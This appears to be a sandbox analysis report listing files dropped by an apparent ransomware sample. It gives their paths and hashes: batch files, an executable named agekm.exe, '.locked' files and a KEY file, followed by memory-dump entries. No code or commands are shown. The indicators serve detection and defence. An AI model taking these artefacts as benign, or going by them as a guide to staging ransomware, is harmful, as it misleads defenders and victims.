MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e3b25dfa-c6b3-4a5a-9a30-6bf29e33edcf.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e3b25dfa-c6b3-4a5a-9a30-6bf29e33edcf.tmp
Size 39KB
SHA256 22f995d81cb79f77efe7b53835179df9563c21233ad41195d53dc7fac44387b7
MD5 4626fe0cdbaadb1ed5f99f957a945b2c
SHA1 92544420730e1a6d4bf278b0570822742ae018ef
SHA512 0424e2131b41192fdf84abc61d3f2e0dc5a9e235fca78f83b9a6024a7a1bef1ff4b6d4ce68a569698b40714471bd15823eeded0af1cf7218456bd3005be0cd76
SSDEEP 768:3E/UxvxjgC+y3gkR/ogieOLJyDgj8nUPO4Qp7cPAiSm2eo4w4cciGrTFlNTkM0:3xZj3+y3ppvvDgj8wQpYoimeoR4ccFFO
TLSH
T15B03CF75A8B8AE639CF3A245361D2393FFF4156398C11EA8CAE95F0D024739E074B817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7d085843-541e-41f0-b4f4-c29b416dd588.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\7d085843-541e-41f0-b4f4-c29b416dd588.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

microsoftwindows.client[1].xml

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\1C9ZHLP0\microsoftwindows.client[1].xml
Size 97B
SHA256 d6f64237f33f80f6499e3f4d8a9dd57cb8e9ebd8a4797440a2452d151cbd17fc
MD5 a7a36438d09db5eb26eafe2eb091c1bd
SHA1 c0a72817ad1d7fbaf1a1f6738d25e3b5a1b5362b
SHA512 0ef20c753c1fa9256d0f54d7bcfba7610e50411eb62f80fd4f54251d20df721eceb7569ee7567cff2e186beca828128bb21c4381a7be8398bef9aa3e40552caf
TLSH
T1CFB092616589AC29664849A66D0D10E032A900D2920AA47434E4ED017896F16C016CA0
MD5 SHA1 SHA512 TLSH

Submit Download

microsoftwindows.client[1].xml

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\1C9ZHLP0\microsoftwindows.client[1].xml
Size 916B
SHA256 dd84a9860c8711a7037f748f3663efedfc3e8634364e54f571b5d3b6cd2e041a
MD5 6ef7afd9a077bae2698b27c3d1385ac6
SHA1 9d3790b8a53f8a2469c1fedce58dad4470e429a5
SHA512 5728179680966b3e280c8ec408503b47337b2a7d5d18330a60865e3f68a4e648c0ab49d78f4010c83730f92aa8e7aa4fd3148c0d35a9f2d1f39b32664bb9dcc5
TLSH
T14D1167CA75CA1917D24F37701B1D91D8B628743F277D4D0F109E205526493AC791725D
MD5 SHA1 SHA512 TLSH

Submit Download

microsoftwindows.client[1].xml

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\1C9ZHLP0\microsoftwindows.client[1].xml
Size 13B
SHA256 b71e4d17274636b97179ba2d97c742735b6510eb54f22893d3a2daff2ceb28db
MD5 c1ddea3ef6bbef3e7060a1a9ad89e4c5
SHA1 35e3224fcbd3e1af306f2b6a2c6bbea9b0867966
SHA512 6be8cec7c862afae5b37aa32dc5bb45912881a3276606da41bf808a4ef92c318b355e616bf45a257b995520d72b7c08752c0be445dceade5cf79f73480910fed
MD5 SHA1 SHA512

Submit Download

microsoftwindows.client[1].xml

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\1C9ZHLP0\microsoftwindows.client[1].xml
Size 97B
SHA256 fefccaaeadc5ce7582d8b081a12b69e15dd06751cc530b4312afe0a9a9170779
MD5 690a31e81eb513dd3972d24d15eb7001
SHA1 9645983068f3a24f54936761a40c2e07d7db9a3c
SHA512 c536819f63fca1ea7f5334987a9145e8ac6a8e4759421b5020ca757b903ec9d57b8f6185cdee14a2a6c171851e7a7121c9cb67af3a2dd5ce0502a0a4d5e736ab
TLSH
T1CAB012113684EC1C1B9045F63D1910D031ED01C3B30A747534E4FD417896F1BC019CA0
MD5 SHA1 SHA512 TLSH

Submit Download

AppsIndex.db

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db
Size 76KB
SHA256 b00d0686d8ae3baa7449db8722b0672d2236c78212fe02a927b914d1c9fa9b04
MD5 9ba535852a746a0fbbaddef4fe7d345a
SHA1 285fb06f1a4749e5cbcd189facf5e1feffcb9f29
SHA512 eb47cac1d73a20cc8d6f90125e85b46a6c97bbae87176ad8e144604b4cb13f6fc5d795c3e5994089364eefa5474a62de844752bc17c70efb1d652a7aa65b8fd5
SSDEEP 768:861Ja9OuaXTB4IRImvqaX1bjfZ4IRZnTrK5:8Mr9ImvqEVvZnK5
TLSH
T109733CFB131E0F67E514B0B61783422B312A8977566DFB02D4626378DA079C7C2AB7E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.db

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db
Size 1.3MB
SHA256 d23fd253c261cdd8606beb80c9cfff03f9b2486cc193ea8e19dc57ddf5664a18
MD5 b85bdc93385ff52017736f7132352844
SHA1 9d642c21d7e53d0ca607e0f804ea4d1385ae3b94
SHA512 ca5d2f204a88f6f716bd136c7ff6fba9ad2031062f7a1ff1f751a1ca866706bd30e8b6d076fd2fd11e57be9b1bda02393e009ba8bd837f945ecabfbd1708f3f5
SSDEEP 24576:3kIOXrRWz0yEhDxxG6lgtxrGGKEOVqPSG1LfbuuLhAFsVac2BSR+doTuEMNWuZ2Z:0IOXr7DxxG6lgtxrGGKEOVqPSG1Lfbu4
TLSH
T1ED5584294314822BCC852AF7C386B24AED74458EEB61BDABF0E57F84535A0C157A7337
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SearchUnifiedTileModelCache.dat

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchUnifiedTileModelCache.dat
Size 12KB
SHA256 fd5d492b779d7f3088e850d812b43752592b457182751465a49376905d21f583
MD5 680bcbcd8050a95d688bfb2502f5cd99
SHA1 1f29d759afe0b96f2850b4d67444fb35b33da604
SHA512 e82e23fad0ac7b8a9426180b5958d80a4ab1b2161934662fb442034747b0b35b31f01cdfa36bd76c2e758dff8b1fc0d38744d103debd70a1df142d7f278240e9
SSDEEP 384:2kDHNjkIDADc6TQ3O3KzFaNeXlLGH4GYsucP0n/:2kDtQIDADV83OaOaApYvcP0n/
TLSH
T19952BFD8B3C2641165A722A4CEDAD028EF8B67E01A699F53DC77A90E1C599D092F133C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SettingsCache.txt

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt
Size 575KB
SHA256 d693725da9318e014697af8c441ef4792fa31fcf0808640c6e77ef42e36c354f
MD5 f3b57bf40eb88f6ecb55122074e3664e
SHA1 3c60e9d9a764be783639732214091cdbf377937b
SHA512 d3d52d1d2d442fae8618423677acb788777f37373b12f2eaca79c8bcd18322c002507a38940d1d5e63e37c55f201f00da06450eb24046d3b472b1268cfca2df0
SSDEEP 12288:RJbF/qpWXFiGC7Ck6c3hj6ST0eLPcCbxERos0vHm8D0CQmaW3M47H:vh/TA1rj6S4eL3Xlm8D0QaLAH
TLSH
T159C423CE59C13AF0B760FE35A4333BE58ACA21A64552971267811398B7FC0EFB0B19D5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SettingsCache.txt.~tmp

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt.~tmp
Size 575KB
SHA256 bfef4a905afe500c0f805c24896ad9cfaa3b6258a39497c7d00ce8a6d3f7d19c
MD5 7d543014eae03b98584da85a58012f3c
SHA1 d0c6f45bd5e90075e685768bee7f0ef4169d84d4
SHA512 812416fc982b3cd59e6bcbd6ae2cb6d76cabd00548ff6581feafef0674e023d7d343b7c6b8c36df7b2b1414f770daf40a89d4d55c8a6c622194794d6773770f0
SSDEEP 6144:u9DZCDt+hOv1vUNFPWZgtQuqlG1tDN4xksq2maX+q2Rtg:uXZNF7QuqlG1tDNze
TLSH
T12AC4C53D3349DAED8A592E72F64DC3016AB803860095ED76B6D9D444E2AF1CC53F326B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~earchUnifiedTileModelCache.tmp

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\~earchUnifiedTileModelCache.tmp
Size 11KB
SHA256 d92602a1e1b3bd598b5c1a333e2d28aae1267305feda05cc144d8e4966b90dc2
MD5 bd254e8cc3ea8eec5551bb0081a1b233
SHA1 7e85255b7e078ac17e06326ceea73bdd8a284f60
SHA512 7086b83e1c3c72ee57bebb54e9b69a69a309c33c52b0ac7e68761599e58e1411b3138c60578b1d4552f6dc32246938c00fa508374ba97f79a2d29e8e490688fe
SSDEEP 192:oiJs4Y6ra3TFJmH9oBiV7czkYJekotkpCk5zhmk7RDuzksz2ZUSRRPQRYYVfQOVa:oiJZKJ+czkkeZtBAVmiIBfQOVjDRJoOg
TLSH
T1C53238742AF403A7F3B29A744FF0DA26A435BC718D41DF6E0192478A0666D1298E5F3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~earchUnifiedTileModelCache.tmp

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\~earchUnifiedTileModelCache.tmp
Size 12KB
SHA256 f3b47eaafd377be599e9bd227577869920f3ad7f54fb510452e7a7aed2e9211c
MD5 c78096980cc59c36f4f8a2a7c2f549bf
SHA1 0bda8515214c6412fcc25de6de7fcebb6b313ca3
SHA512 b4390cdc712b71dae6c05accaefb9352c6aa41f875ed5907da29f5e05b32497b207427c88e602f597c9cc3969797062a749fdaa13cdf325e089a5c1c0f45b345
SSDEEP 384:3JbKJ+czkkeZtBAVmiIBfQOVjDRJoChmuD:Zu+G8ZvRJ1M0
TLSH
T1C84237742AF403A6F3B29A744FF0DA26A435BC719C41DF6E0162438A0666D12D8E5F3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bf854779-f56c-499a-a762-4f5aa2688934.tmp

Path C:\Users\Admin\AppData\Local\Temp\bf854779-f56c-499a-a762-4f5aa2688934.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5864313-e5fb-466e-81d9-a9678e3460a2.tmp

Path C:\Users\Admin\AppData\Local\Temp\e5864313-e5fb-466e-81d9-a9678e3460a2.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1104_1158406444\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp_6be7785a.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp_6be7785a.bat
Size 181B
SHA256 d6effec7e1dcdb148f10642aa1931ca7c9f4ed378b0f042cb049803a903559bb
MD5 6e078e8748c473e0aa6a69ecaf4da383
SHA1 707f4afee5359df57b75199969d39d3e5abef3c2
SHA512 98b40f46e12f165ef4bc4757417bdb3e395f9f4e5eb45ed2b68a1394fdd271176c0eed2865f703a9c70af46c4123f9420dd0a550aebf55a9ac0371fc949a7724
TLSH
T13BC0122641CCC74E5C04A59B4B7A608C947885A42FC6FA4ADF21448CAAD2808F893583
MD5 SHA1 SHA512 TLSH

Submit Download

tmp_a07a1e77.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp_a07a1e77.bat
Size 270B
SHA256 6043d54f93cf728ea8bcd8f38591e53837aa21b8019886d97839d45b2756d322
MD5 645c691a66746d09af4624a59ab21dc0
SHA1 933fc8549fe9d93f2530c147668e8ba3dd63b1db
SHA512 f47509149114fe9ce4e3fd47cbc4191523fd90ee7e1437ff35ebe0a06350fa7342a522fe63cf77529ad4d0b4d9d0e1927dcb4e383803353e8561e552934b8ce5
TLSH
T15AD02B0941C5C9580804CC5B81BAA78ED0A808542BC77F201721C48CD5F1C9DB3C73D9
MD5 SHA1 SHA512 TLSH

Submit Download

tmp_f7e5b8a2.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp_f7e5b8a2.bat
Size 278B
SHA256 beb46eca136d4529e0eff1df71b9debdf505599c65f19f9a1aa22f0b03db3fd6
MD5 3c8147666974d2dd3ad00dc3d978cf84
SHA1 85a5841c7a120d5c9395f9f6aa72f8d191efdc04
SHA512 5828298a88b9e562d2a51de4d0e60c64f1eb6d1fd288fd9204e4de9ef63728cd84045c5182abf37ac93ff0789ed1ab5729a0ed8e9154cf34b04bc90519d9d59f
TLSH
T100D02B03918BCB4089416547D1159DAB845BCD4DA6D3F1E822419D5D1AE4588A887391
MD5 SHA1 SHA512 TLSH

Submit Download

agekm.exe

Path C:\Users\Admin\AppData\Roaming\Tocef\agekm.exe
Size 204KB
SHA256 8c317a224815928cd57d87685284baf27fc84e2e37642b26b6052d882779e0a8
MD5 f6b7dbc3fcc9f61430e5db6e3ecc314e
SHA1 3d2d0ec206ad00d3e49213805767f0a235916fea
SHA512 2ff209c5674db9ca9863b1d49f4db16fe134fd808149771997c4a1b5b478a10eb4e8cdb10d5faa953cc4ced7e8436d3ecd8bf5977beded35e08f82f4d9f01bd4
SSDEEP 3072:c+5k6qWFvYKRPPlgEOTved7vQ7/77xev+8nnkWQVlgBM1HSPH1Ya99a:753qGvYKRPdghTvOIxevznkOOFw1Yia
TLSH
T13114CFCBB801D1B4F8709531AB199EF26BB17D33C690555BF3C47F26F8B3026562A246
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BIRAWUCIHEOS.locked

Path C:\Users\Admin\Downloads\BIRAWUCIHEOS.locked
Size 502KB
SHA256 531ae784e566fa557e820b9f7f3ead4698e07106105c82b23057cfb802957703
MD5 90425019acb0f8f29b2ab74aaa42bf3e
SHA1 58311220fdf64adc0394718ed816ccae0050f3af
SHA512 34671c2e76f13fd74efb7d0bab349bcf278c997eb787402c925eadab52ff5799eca6b368b6c77b0cfdd7f73b3ccb439dce69e05075bc8a9cda70ffa9022b0583
SSDEEP 12288:sH3kSDqR8EydJCBIYbvXBlCPG4v9xtGIPhEIhqT5eiT/y:sUS4eJCCAvXBwPGG9VJhqDy
TLSH
T1ECB423FCA8F2F60E55C26F2AFB49C0604DC27EC7F7E9E4256904F2459011DEA68175B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XUEXSIVAONELODD.locked

Path C:\Users\Admin\Downloads\XUEXSIVAONELODD.locked
Size 448KB
SHA256 0e228a769879ace1ec782d2aeeacf36b52c4f5a2ad579625d2ecd9b88bea78c9
MD5 c0f7d7cb02f72be9040f2e77c960f871
SHA1 b45b1a9b59242452e3916240bd97e2e5aafeb637
SHA512 0fc8824e9ec584e23e52a62c7fb50de1ddb70f12ab159652e249b9844291649de2fcb3975f4b6741fd5cfc0b2a766da712b3495fe164fff3a2e3e0d438ac2042
SSDEEP 12288:Nf2clDn39fuhjIhqbkcav1pHym2rYwPqMlWyiFHXDL2ax:MclJGjIhqRIpiYwC3yiF3n2ax
TLSH
T11EA4232063EE23778F33338E8EC89EE16AB5C2C8C459605BC5D5065354902B69FBED0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KEY

Path C:\Users\Public\Desktop\KEY
Size 2KB
SHA256 a1bd7c66f44eb40231859c6837f77bded12f653b2713013afc892395e79fbaaf
MD5 2c7db058a4557e14c1aa96b4db955747
SHA1 b697fee62e3e539cfe40a53622e28abb4382b13e
SHA512 9f67085a8562155b0f22b662928d687641e64a8e0bd9943d0d105bc8fc3904c3f2751e7760d98d285d975bca5706b8e5e4367fe14e6220d38d0f329d2ea19f6e
TLSH
T1FC513D3915BAA649387133E94A4343E87425A0F9604390FBE425AF9CB1B874F868437A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2000-858-0x000001C3801E0000-0x000001C3802E0000-memory.dmp

Download

memory/2000-873-0x000001C381290000-0x000001C3812B0000-memory.dmp

Download

memory/2000-875-0x000001C381D10000-0x000001C381E10000-memory.dmp

Download

memory/2000-882-0x000001C3814D0000-0x000001C3814F0000-memory.dmp

Download

memory/2000-908-0x000001C394140000-0x000001C394160000-memory.dmp

Download

memory/5804-293-0x0000016D18010000-0x0000016D18030000-memory.dmp

Download

memory/5804-311-0x0000016D28780000-0x0000016D287A0000-memory.dmp

Download

memory/5804-294-0x0000016D28450000-0x0000016D28550000-memory.dmp

Download

memory/5804-300-0x0000016D18270000-0x0000016D18290000-memory.dmp

Download

memory/5804-283-0x0000016512D50000-0x0000016512E50000-memory.dmp

Download